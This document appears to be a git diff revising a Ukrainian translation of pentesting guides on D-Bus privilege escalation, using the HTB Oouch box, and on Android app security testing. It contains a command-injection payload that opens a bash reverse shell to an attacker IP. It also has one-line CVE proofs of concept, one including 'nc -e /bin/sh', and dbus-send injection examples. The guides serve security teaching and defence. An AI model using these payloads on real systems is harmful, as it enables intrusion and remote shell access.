[З Wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Коли процес встановлює з'єднання з шиною, шина призначає з'єднанню спеціальне ім'я шини, яке називається _унікальним ім'ям з'єднання_. Імена шини цього типу є незмінними — гарантовано, що вони не зміняться, поки з'єднання існує — і, що більш важливо, їх не можна повторно використовувати протягом життєвого циклу шини. Це означає, що жодне інше з'єднання з цією шиною ніколи не отримає призначене таке унікальне ім'я з'єднання, навіть якщо той самий процес закриває з'єднання з шиною і створює нове. Унікальні імена з'єднання легко впізнавані, оскільки вони починаються з — в іншому випадку забороненого — символу двокрапки.
|
||||
|
||||
### Інформація про об'єкт служби
|
||||
|
||||
@ -130,9 +130,9 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||||
└─/htb/oouch
|
||||
└─/htb/oouch/Block
|
||||
```
|
||||
### Introspect Interface of a Service Object
|
||||
### Інспектування інтерфейсу об'єкта служби
|
||||
|
||||
Зверніть увагу, що в цьому прикладі була обрана остання виявлена інтерфейс за допомогою параметра `tree` (_див. попередній розділ_):
|
||||
Зверніть увагу, що в цьому прикладі було обрано останній виявлений інтерфейс, використовуючи параметр `tree` (_див. попередній розділ_):
|
||||
```bash
|
||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||
|
||||
@ -202,7 +202,7 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```bash
|
||||
dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
Дивіться [D-Bus документацію](http://dbus.freedesktop.org/doc/dbus-specification.html) для отримання додаткової інформації про синтаксис правил відповідності.
|
||||
Дивіться [документацію D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) для отримання додаткової інформації про синтаксис правил відповідності.
|
||||
|
||||
### Більше
|
||||
|
||||
@ -233,7 +233,7 @@ dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
Зверніть увагу на попередню конфігурацію, що **вам потрібно бути користувачем `root` або `www-data`, щоб надсилати та отримувати інформацію** через цю D-BUS комунікацію.
|
||||
|
||||
Як користувач **qtc** всередині контейнера docker **aeb4525789d8** ви можете знайти деякий код, пов'язаний з dbus, у файлі _/code/oouch/routes.py._ Ось цікавий код:
|
||||
Як користувач **qtc** всередині контейнера docker **aeb4525789d8** ви можете знайти деякий код, пов'язаний з dbus, у файлі _/code/oouch/routes.py._ Це цікавий код:
|
||||
```python
|
||||
if primitive_xss.search(form.textfield.data):
|
||||
bus = dbus.SystemBus()
|
||||
@ -247,8 +247,8 @@ return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
Як ви можете бачити, він **підключається до інтерфейсу D-Bus** і надсилає до **функції "Block"** "client_ip".
|
||||
|
||||
На іншій стороні з'єднання D-Bus працює деякий скомпільований C-бінарник. Цей код **слухає** з'єднання D-Bus **на IP-адресу і викликає iptables через функцію `system`** для блокування заданої IP-адреси.\
|
||||
**Виклик `system` навмисно вразливий до ін'єкцій команд**, тому такий корисний вантаж, як наступний, створить зворотний шелл: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
На іншій стороні з'єднання D-Bus працює деякий скомпільований C-бінарник. Цей код **слухає** з'єднання D-Bus **для IP-адреси і викликає iptables через функцію `system`** для блокування заданої IP-адреси.\
|
||||
**Виклик `system` навмисно вразливий до ін'єкцій команд**, тому такий корисний вантаж, як наступний, створить зворотне з'єднання: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### Використайте це
|
||||
|
||||
@ -283,9 +283,9 @@ bus.close()
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
- `dbus-send` - це інструмент, який використовується для відправки повідомлень до “Message Bus”
|
||||
- Message Bus – програмне забезпечення, яке використовується системами для спрощення комунікації між додатками. Воно пов'язане з Message Queue (повідомлення упорядковані в послідовності), але в Message Bus повідомлення надсилаються за моделлю підписки і також дуже швидко.
|
||||
- Message Bus – програмне забезпечення, яке використовується системами для спрощення комунікації між додатками. Це пов'язано з Message Queue (повідомлення впорядковані в послідовності), але в Message Bus повідомлення надсилаються за моделлю підписки і також дуже швидко.
|
||||
- Тег “-system” використовується для позначення того, що це системне повідомлення, а не повідомлення сесії (за замовчуванням).
|
||||
- Тег “–print-reply” використовується для коректного виведення нашого повідомлення та отримання будь-яких відповідей у зрозумілому для людини форматі.
|
||||
- Тег “–print-reply” використовується для належного виведення нашого повідомлення та отримання будь-яких відповідей у зрозумілому для людини форматі.
|
||||
- “–dest=Dbus-Interface-Block” Адреса інтерфейсу Dbus.
|
||||
- “–string:” – Тип повідомлення, яке ми хочемо надіслати до інтерфейсу. Існує кілька форматів для відправки повідомлень, таких як double, bytes, booleans, int, objpath. З цього, “object path” корисний, коли ми хочемо надіслати шлях до файлу до інтерфейсу Dbus. У цьому випадку ми можемо використовувати спеціальний файл (FIFO), щоб передати команду до інтерфейсу під ім'ям файлу. “string:;” – Це для повторного виклику об'єктного шляху, де ми розміщуємо файл/команду зворотного шелу FIFO.
|
||||
|
||||
@ -438,7 +438,7 @@ return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
||||
|
||||
### dbusmap ("Nmap для D-Bus")
|
||||
* Автор: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
|
||||
* Написано на C; один статичний бінарний файл (<50 kB), який проходить через кожен об'єктний шлях, витягує XML `Introspect` і відображає його на PID/UID власника.
|
||||
* Написано на C; один статичний бінарний файл (<50 kB), який проходить кожен об'єктний шлях, витягує XML `Introspect` і відображає його на PID/UID власника.
|
||||
* Корисні прапорці:
|
||||
```bash
|
||||
# Перелічити всі сервіси на *системному* автобусі та вивести всі викликабельні методи
|
||||
@ -457,7 +457,7 @@ sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||
python3 uptux.py -n # виконати всі перевірки, але не записувати файл журналу
|
||||
python3 uptux.py -d # увімкнути детальний вивід налагодження
|
||||
```
|
||||
* Модуль D-Bus шукає каталоги нижче і підкреслює будь-який сервіс, який може бути підроблений або перехоплений звичайним користувачем:
|
||||
* Модуль D-Bus шукає каталоги нижче та підкреслює будь-який сервіс, який може бути підроблений або перехоплений звичайним користувачем:
|
||||
* `/etc/dbus-1/system.d/` та `/usr/share/dbus-1/system.d/`
|
||||
* `/etc/dbus-1/system-local.d/` (перевизначення постачальника)
|
||||
|
||||
@ -469,29 +469,29 @@ python3 uptux.py -d # увімкнути детальний вивід
|
||||
|
||||
| Рік | CVE | Компонент | Корінна причина | Однолінійний PoC |
|
||||
|------|-----|-----------|------------|---------------|
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (демон Logitech HID) | Системна служба `logid` відкриває необмежений інтерфейс `org.freedesktop.Logiopsd`, що дозволяє *будь-якому* користувачу змінювати профілі пристроїв і впроваджувати довільні команди оболонки через рядки макросів. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Проксі, що працює з правами root, пересилає застарілі імена автобусів до бекенд-сервісів **без пересилання UID/контексту Polkit викликувача**, тому кожен пересланий запит обробляється як UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (демон Logitech HID) | Системна служба `logid` відкриває необмежений інтерфейс `org.freedesktop.Logiopsd`, що дозволяє *будь-якому* користувачеві змінювати профілі пристроїв і впроваджувати довільні команди оболонки через рядки макросів. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Проксі, що працює від імені root, пересилає застарілі імена автобусів до бекенд-сервісів **без пересилання UID/контексту Polkit викликувача**, тому кожен пересланий запит обробляється як UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Публічний метод `Dispatch` не має жодних ACL → зловмисник може наказати *пакетному менеджеру* встановити довільні RPM. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
|
||||
Шаблони, на які слід звернути увагу:
|
||||
1. Сервіс працює **як root на системному автобусі**.
|
||||
2. Відсутня перевірка PolicyKit (або вона обійдена проксі).
|
||||
3. Метод в кінцевому підсумку веде до `system()`/встановлення пакета/переналаштування пристрою → виконання коду.
|
||||
2. Відсутня перевірка PolicyKit (або вона обходиться проксі).
|
||||
3. Метод врешті-решт веде до `system()`/встановлення пакета/переналаштування пристрою → виконання коду.
|
||||
|
||||
Використовуйте `dbusmap --enable-probes` або ручний `busctl call`, щоб підтвердити, чи патч переносить правильну логіку `polkit_authority_check_authorization()`.
|
||||
Використовуйте `dbusmap --enable-probes` або ручний `busctl call`, щоб підтвердити, чи патч повертає правильну логіку `polkit_authority_check_authorization()`.
|
||||
|
||||
---
|
||||
|
||||
## Швидкі виграші в зміцненні та виявленні
|
||||
|
||||
* Шукайте світло-записувані або *відкриті для надсилання/отримання* політики:
|
||||
* Шукайте світло-записувані або *send/receive*-відкриті політики:
|
||||
```bash
|
||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||
```
|
||||
* Вимагайте Polkit для небезпечних методів – навіть *root* проксі повинні передавати *PID викликувача* до `polkit_authority_check_authorization_sync()`, а не свої власні.
|
||||
* Вимагайте Polkit для небезпечних методів – навіть *root* проксі повинні передавати *викликувач* PID до `polkit_authority_check_authorization_sync()`, а не свої власні.
|
||||
* Знижуйте привілеї в довготривалих допоміжних засобах (використовуйте `sd_pid_get_owner_uid()`, щоб переключити простори імен після підключення до автобуса).
|
||||
* Якщо ви не можете видалити сервіс, принаймні *обмежте* його до спеціальної групи Unix і обмежте доступ у його XML політиці.
|
||||
* Blue-team: увімкніть постійний захоплення системного автобуса за допомогою `busctl capture --output=/var/log/dbus_$(date +%F).pcap` і імпортуйте в Wireshark для виявлення аномалій.
|
||||
* Blue-team: увімкніть постійне захоплення системного автобуса за допомогою `busctl capture --output=/var/log/dbus_$(date +%F).pcap` і імпортуйте в Wireshark для виявлення аномалій.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -55,7 +55,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
## Статичний аналіз
|
||||
|
||||
По-перше, для аналізу APK вам слід **ознайомитися з Java кодом** за допомогою декомпілера.\
|
||||
По-перше, для аналізу APK вам слід **ознайомитися з Java-кодом** за допомогою декомпілера.\
|
||||
Будь ласка, [**читайте тут, щоб знайти інформацію про різні доступні декомпілери**](apk-decompilers.md).
|
||||
|
||||
### Пошук цікавої інформації
|
||||
@ -80,11 +80,11 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
- **Отримувачі трансляцій та URL-схеми**: Ці компоненти можуть бути використані для експлуатації, з особливою увагою до того, як управляються URL-схеми для вразливостей введення.
|
||||
- **Версії SDK**: Атрибути `minSdkVersion`, `targetSDKVersion` та `maxSdkVersion` вказують на підтримувані версії Android, підкреслюючи важливість того, щоб не підтримувати застарілі, вразливі версії Android з міркувань безпеки.
|
||||
|
||||
З файлу **strings.xml** можна виявити чутливу інформацію, таку як API ключі, власні схеми та інші нотатки розробників, що підкреслює необхідність ретельного перегляду цих ресурсів.
|
||||
З файлу **strings.xml** можна виявити чутливу інформацію, таку як API-ключі, власні схеми та інші нотатки розробників, що підкреслює необхідність ретельного перегляду цих ресурсів.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** - це атака, коли **зловмисна** **програма** запускається і **розташовується поверх програми жертви**. Як тільки вона видимо закриває програму жертви, її інтерфейс користувача спроектований так, щоб обманути користувача взаємодіяти з нею, в той час як вона передає взаємодію програмі жертви.\
|
||||
**Tapjacking** - це атака, коли **зловмисна** **програма** запускається і **розташовується поверх програми жертви**. Як тільки вона видимо закриває програму жертви, її інтерфейс користувача спроектований так, щоб обманути користувача взаємодіяти з нею, в той час як вона передає взаємодію до програми жертви.\
|
||||
Фактично, це **осліплює користувача, не даючи йому знати, що він насправді виконує дії в програмі жертви**.
|
||||
|
||||
Знайдіть більше інформації в:
|
||||
@ -112,7 +112,7 @@ android-task-hijacking.md
|
||||
1. **Статичний аналіз:**
|
||||
- **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевіряється**. Ці режими **можуть потенційно відкрити** файли для **небажаного або несанкціонованого доступу**.
|
||||
2. **Динамічний аналіз:**
|
||||
- **Перевірте** **дозволи**, встановлені на файлах, створених програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис для всіх**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
|
||||
- **Перевірте** **дозволи**, встановлені на файли, створені програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис для всіх**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
|
||||
|
||||
**Зовнішнє зберігання**
|
||||
|
||||
@ -162,10 +162,10 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
### Інші перевірки
|
||||
|
||||
- Рекомендується **обфускувати APK**, щоб ускладнити реверс-інженерні роботи для зловмисників.
|
||||
- Якщо додаток є чутливим (як банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи пристрій зламаний**, і діяти відповідно.
|
||||
- Якщо додаток є чутливим (як банківські додатки), він повинен перевіряти, чи використовується **емулятор**.
|
||||
- Якщо додаток є чутливим (як банківські додатки), він повинен **перевіряти свою цілісність перед виконанням**, щоб перевірити, чи був він змінений.
|
||||
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який компілятор/упаковщик/обфускатор був використаний для створення APK.
|
||||
- Якщо додаток чутливий (як банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи мобільний пристрій є рутованим**, і діяти відповідно.
|
||||
- Якщо додаток чутливий (як банківські додатки), він повинен перевіряти, чи використовується **емулятор**.
|
||||
- Якщо додаток чутливий (як банківські додатки), він повинен **перевіряти свою цілісність перед виконанням**, щоб перевірити, чи був він змінений.
|
||||
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який компілятор/упаковщик/обфускатор був використаний для створення APK
|
||||
|
||||
### React Native Application
|
||||
|
||||
@ -195,7 +195,7 @@ react-native-application.md
|
||||
|
||||
### Витік секретів
|
||||
|
||||
Додаток може містити секрети (API ключі, паролі, приховані URL, піддомени...) всередині, які ви можете виявити. Ви можете використовувати інструмент, такий як [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks).
|
||||
Додаток може містити секрети (API ключі, паролі, приховані URL, піддомени...) всередині, які ви можете виявити. Ви можете використовувати інструмент, такий як [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Обхід біометричної аутентифікації
|
||||
|
||||
@ -222,7 +222,7 @@ content-protocol.md
|
||||
|
||||
## Динамічний аналіз
|
||||
|
||||
> По-перше, вам потрібне середовище, де ви можете встановити додаток і все середовище (сертифікат CA Burp, Drozer і Frida в основному). Тому дуже рекомендується використовувати зламаний пристрій (емулятор або ні).
|
||||
> По-перше, вам потрібне середовище, де ви можете встановити додаток і все середовище (сертифікат CA Burp, Drozer і Frida в основному). Тому рутований пристрій (емулятор чи ні) є надзвичайно рекомендованим.
|
||||
|
||||
### Онлайн динамічний аналіз
|
||||
|
||||
@ -238,7 +238,7 @@ content-protocol.md
|
||||
|
||||
#### Використання емулятора
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створити **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні версії x86** підтримують ARM бібліотеки без необхідності повільного емулятора arm).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні версії x86** підтримують ARM бібліотеки без необхідності в повільному емуляторі arm).
|
||||
- Дізнайтеся, як налаштувати його на цій сторінці:
|
||||
|
||||
{{#ref}}
|
||||
@ -259,53 +259,53 @@ avd-android-virtual-device.md
|
||||
|
||||
#### Використання фізичного пристрою
|
||||
|
||||
Вам потрібно активувати **опції налагодження**, і було б добре, якщо ви зможете **зламати** його:
|
||||
Вам потрібно активувати **опції налагодження**, і було б добре, якщо ви зможете **рутнути** його:
|
||||
|
||||
1. **Налаштування**.
|
||||
2. (З Android 8.0) Виберіть **Систему**.
|
||||
2. (З Android 8.0) Виберіть **Система**.
|
||||
3. Виберіть **Про телефон**.
|
||||
4. Натисніть **Номер збірки** 7 разів.
|
||||
5. Поверніться назад, і ви знайдете **Опції розробника**.
|
||||
|
||||
> Як тільки ви встановили додаток, перше, що ви повинні зробити, це спробувати його та дослідити, що він робить, як він працює і звикнути до нього.\
|
||||
> Після того, як ви встановили додаток, перше, що ви повинні зробити, це спробувати його та дослідити, що він робить, як він працює і звикнути до нього.\
|
||||
> Я рекомендую **виконати цей початковий динамічний аналіз, використовуючи динамічний аналіз MobSF + pidcat**, щоб ми могли **вивчити, як працює додаток**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше.
|
||||
|
||||
### Ненавмисний витік даних
|
||||
|
||||
**Логування**
|
||||
**Журналювання**
|
||||
|
||||
Розробники повинні бути обережними, щоб не розкривати **інформацію для налагодження** публічно, оскільки це може призвести до витоку чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів додатка, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
|
||||
Розробники повинні бути обережними, щоб не розкривати **інформацію для налагодження** публічно, оскільки це може призвести до витоку чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів програми, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що з **пізніми версіями Android 4.0**, **додатки можуть отримувати доступ лише до своїх власних журналів**. Тому додатки не можуть отримувати доступ до журналів інших додатків.\
|
||||
> Зверніть увагу, що з **пізніми версіями, ніж Android 4.0**, **додатки можуть отримувати доступ лише до своїх власних журналів**. Тому додатки не можуть отримувати доступ до журналів інших додатків.\
|
||||
> Тим не менш, все ще рекомендується **не записувати чутливу інформацію**.
|
||||
|
||||
**Кешування буфера копіювання/вставки**
|
||||
|
||||
**Кліпборд** Android дозволяє функціонал копіювання-вставки в додатках, але це створює ризик, оскільки **інші додатки** можуть **отримати доступ** до буфера обміну, потенційно розкриваючи чутливі дані. Важливо **відключити функції копіювання/вставки** для чутливих частин програми, таких як дані кредитних карток, щоб запобігти витоку даних.
|
||||
Фреймворк **на основі буфера обміну** Android дозволяє функціональність копіювання-вставки в додатках, але несе ризик, оскільки **інші додатки** можуть **отримати доступ** до буфера обміну, потенційно розкриваючи чутливі дані. Важливо **відключити функції копіювання/вставки** для чутливих частин програми, таких як дані кредитних карток, щоб запобігти витоку даних.
|
||||
|
||||
**Журнали аварій**
|
||||
|
||||
Якщо додаток **зависає** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
|
||||
Якщо додаток **виникає аварія** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
|
||||
|
||||
Як пентестер, **спробуйте переглянути ці журнали**.
|
||||
|
||||
**Дані аналітики, надіслані третім особам**
|
||||
|
||||
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неправильну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік програми** та перевірити, чи надсилається якась чутлива інформація третім особам.
|
||||
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неправильну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік програми** та перевірити, чи надсилається будь-яка чутлива інформація третім особам.
|
||||
|
||||
### SQLite БД
|
||||
### SQLite DBs
|
||||
|
||||
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, які створені, назви **таблиць** та **стовпців** і всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Бази даних повинні розташовуватися в `/data/data/the.package.name/databases`, як `/data/data/com.mwr.example.sieve/databases`.
|
||||
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, що створюються, назви **таблиць** та **стовпців** і всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Бази даних повинні розташовуватися в `/data/data/the.package.name/databases`, як `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Якщо база даних зберігає конфіденційну інформацію і **зашифрована**, але ви можете **знайти** **пароль** всередині програми, це все ще **вразливість**.
|
||||
Якщо база даних зберігає конфіденційну інформацію і **зашифрована**, але ви можете **знайти** **пароль** всередині програми, це все ще є **вразливістю**.
|
||||
|
||||
Перелічте таблиці, використовуючи `.tables`, і перелічте стовпці таблиць, виконуючи `.schema <table_name>`.
|
||||
Перерахуйте таблиці, використовуючи `.tables`, і перераховуйте стовпці таблиць, виконуючи `.schema <table_name>`
|
||||
|
||||
### Drozer (Експлуатація активностей, постачальників контенту та сервісів)
|
||||
|
||||
З [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **приймати роль Android-додатка** та взаємодіяти з іншими додатками. Він може робити **все, що може зробити встановлений додаток**, наприклад, використовувати механізм міжпроцесного зв'язку (IPC) Android та взаємодіяти з основною операційною системою.\
|
||||
З [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **приймати роль Android-додатка** та взаємодіяти з іншими додатками. Він може робити **все, що може зробити встановлений додаток**, наприклад, використовувати механізм міжпроцесного спілкування (IPC) Android і взаємодіяти з основною операційною системою.\
|
||||
Drozer є корисним інструментом для **експлуатації експортованих активностей, експортованих сервісів та постачальників контенту**, як ви дізнаєтеся в наступних розділах.
|
||||
|
||||
### Експлуатація експортованих активностей
|
||||
@ -315,7 +315,7 @@ Drozer є корисним інструментом для **експлуата
|
||||
|
||||
**Обхід авторизації**
|
||||
|
||||
Коли активність експортується, ви можете викликати її екран з зовнішнього додатка. Тому, якщо активність з **чутливою інформацією** є **експортованою**, ви можете **обійти** механізми **автентифікації**, щоб отримати доступ до неї.
|
||||
Коли активність експортується, ви можете викликати її екран з зовнішнього додатка. Тому, якщо активність з **чутливою інформацією** є **експортованою**, ви можете **обійти** механізми **автентифікації**, щоб отримати до неї доступ.
|
||||
|
||||
[**Дізнайтеся, як експлуатувати експортовані активності за допомогою Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -326,7 +326,7 @@ Drozer є корисним інструментом для **експлуата
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTE**: MobSF виявить використання _**singleTask/singleInstance**_ як `android:launchMode` в активності як шкідливе, але через [це](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, що це небезпечно лише на старих версіях (версії API < 21).
|
||||
**NOTE**: MobSF виявить використання _**singleTask/singleInstance**_ як `android:launchMode` в активності як шкідливе, але через [це](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, що це небезпечно лише в старих версіях (версії API < 21).
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що обхід авторизації не завжди є вразливістю, це залежить від того, як працює обхід і яка інформація піддається розкриттю.
|
||||
@ -339,30 +339,30 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
Якщо tapjacking не запобігається, ви можете зловживати експортованою активністю, щоб змусити **користувача виконувати несподівані дії**. Для отримання додаткової інформації про [**що таке Tapjacking, перейдіть за посиланням**](#tapjacking).
|
||||
|
||||
### Використання Content Providers - Доступ до чутливої інформації та її маніпуляція
|
||||
### Експлуатація постачальників контенту - доступ до чутливої інформації та її маніпуляція
|
||||
|
||||
[**Прочитайте це, якщо хочете освіжити знання про Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Content providers в основному використовуються для **обміну даними**. Якщо у програми є доступні content providers, ви можете **витягти чутливі** дані з них. Також цікаво протестувати можливі **SQL-ін'єкції** та **Path Traversals**, оскільки вони можуть бути вразливими.
|
||||
[**Прочитайте це, якщо хочете освіжити знання про постачальника контенту.**](android-applications-basics.md#content-provider)\
|
||||
Постачальники контенту в основному використовуються для **обміну даними**. Якщо у програми є доступні постачальники контенту, ви можете **витягти чутливі** дані з них. Також цікаво протестувати можливі **SQL-ін'єкції** та **перетворення шляхів**, оскільки вони можуть бути вразливими.
|
||||
|
||||
[**Дізнайтеся, як експлуатувати Content Providers за допомогою Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
[**Дізнайтеся, як експлуатувати постачальників контенту за допомогою Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Експлуатація Сервісів**
|
||||
### **Експлуатація сервісів**
|
||||
|
||||
[**Прочитайте це, якщо хочете освіжити знання про Сервіс.**](android-applications-basics.md#services)\
|
||||
Пам'ятайте, що дії Сервісу починаються в методі `onStartCommand`.
|
||||
[**Прочитайте це, якщо хочете освіжити знання про сервіс.**](android-applications-basics.md#services)\
|
||||
Пам'ятайте, що дії сервісу починаються в методі `onStartCommand`.
|
||||
|
||||
Сервіс в основному є чимось, що **може отримувати дані**, **обробляти** їх і **повертати** (або не повертати) відповідь. Тому, якщо програма експортує деякі сервіси, вам слід **перевірити** **код**, щоб зрозуміти, що він робить, і **тестувати** його **динамічно** для витягування конфіденційної інформації, обходу заходів аутентифікації...\
|
||||
[**Дізнайтеся, як експлуатувати Сервіси за допомогою Drozer.**](drozer-tutorial/index.html#services)
|
||||
Сервіс в основному є чимось, що **може отримувати дані**, **обробляти** їх і **повертати** (або не повертати) відповідь. Тоді, якщо програма експортує деякі сервіси, вам слід **перевірити** **код**, щоб зрозуміти, що він робить, і **тестувати** його **динамічно** для витягування конфіденційної інформації, обходу заходів аутентифікації...\
|
||||
[**Дізнайтеся, як експлуатувати сервіси за допомогою Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Експлуатація Broadcast Receivers**
|
||||
### **Експлуатація приймачів трансляцій**
|
||||
|
||||
[**Прочитайте це, якщо хочете освіжити знання про Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Пам'ятайте, що дії Broadcast Receiver починаються в методі `onReceive`.
|
||||
[**Прочитайте це, якщо хочете освіжити знання про приймач трансляцій.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Пам'ятайте, що дії приймача трансляцій починаються в методі `onReceive`.
|
||||
|
||||
Broadcast receiver буде чекати на певний тип повідомлення. В залежності від того, як приймач обробляє повідомлення, він може бути вразливим.\
|
||||
[**Дізнайтеся, як експлуатувати Broadcast Receivers за допомогою Drozer.**](#exploiting-broadcast-receivers)
|
||||
Приймач трансляцій буде чекати на певний тип повідомлення. В залежності від того, як приймач обробляє повідомлення, він може бути вразливим.\
|
||||
[**Дізнайтеся, як експлуатувати приймачі трансляцій за допомогою Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Експлуатація Схем / Глибоких посилань**
|
||||
### **Експлуатація схем / глибоких посилань**
|
||||
|
||||
Ви можете шукати глибокі посилання вручну, використовуючи інструменти, такі як MobSF, або скрипти, як [цей](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Ви можете **відкрити** оголошену **схему** за допомогою **adb** або **браузера**:
|
||||
@ -376,9 +376,9 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
||||
```
|
||||
**Код виконано**
|
||||
**Код, що виконується**
|
||||
|
||||
